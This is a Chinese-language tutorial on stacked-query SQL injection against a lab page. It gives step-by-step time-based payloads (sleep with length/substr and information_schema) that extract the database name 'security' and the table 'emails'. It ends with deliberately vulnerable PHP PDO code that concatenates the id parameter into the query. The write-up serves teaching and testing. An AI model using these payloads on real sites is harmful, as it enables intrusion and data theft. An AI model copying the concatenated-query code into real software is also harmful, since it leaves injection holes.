堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
1)考虑使用堆叠注入
访问URL:http://www.tianchi.com/web/duidie.php?id=1返回正常信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'返回错误信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'%23返回正常信息;
这里可以使用boolean注入、时间盲注、也可以使用堆叠注入。
2)获取数据库库名
(1)判断当前数据库库名的长度
语句:';select if(length(database())>=8,sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=8,sleep(4),1)
可以看到页面响应时间是5023毫秒,即5.023秒,这说明了页面执行了sleep(4),也就是length(database())>=8成立。使用Burp的Repeater模块如下所示:
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=9,sleep(4),1)
可以看到页面响应时间是1026毫秒,即1.026秒,这说明页面没有执行sleep(4),而是执行了select 1,也就是length(database())>=9是错误的。那么可以确定,当前数据库库名的长度是8。使用Burp的Repeater模块如下所示:
(2)获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。与boolean注入、时间盲注类似,也使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。
语句:';select if(substr(database(),1,1)='a',sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr(database(),1,1)='s',sleep(4),1)%23
可以看到,当前数据库库名的第一个字符是s,同理可以得到库名是:security
3)获取数据库表名
语句:';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23
可以看到security数据库的第一个表名的第一个字符是e。
同理,得到所有字符,最后得到security数据库的第一个表名是:emails。
和时间盲注相同,通过构造不同的时间注入语句,就可以得到完整的数据库库名,表名,字段名和具体数据。
在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞。使用PDO执行SQL语句时,虽然可以执行多语句,但是PDO只会返回第一条SQL语句的执行结果,所以第二条语句中需要使用update更新数据或者使用时间盲注获取数据。代码如下:
setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$id=$_GET['id'];
$stmt=$con->query("select * from users where id='".$id."'");
$result=$stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach ($stmt->fetchAll() as $k => $v) {
foreach ($v as $key => $value) {
echo $value;
}
}
$dsn=null;
}
catch(PDOException $e){
echo "查询异常!";
}
$con=null;
?>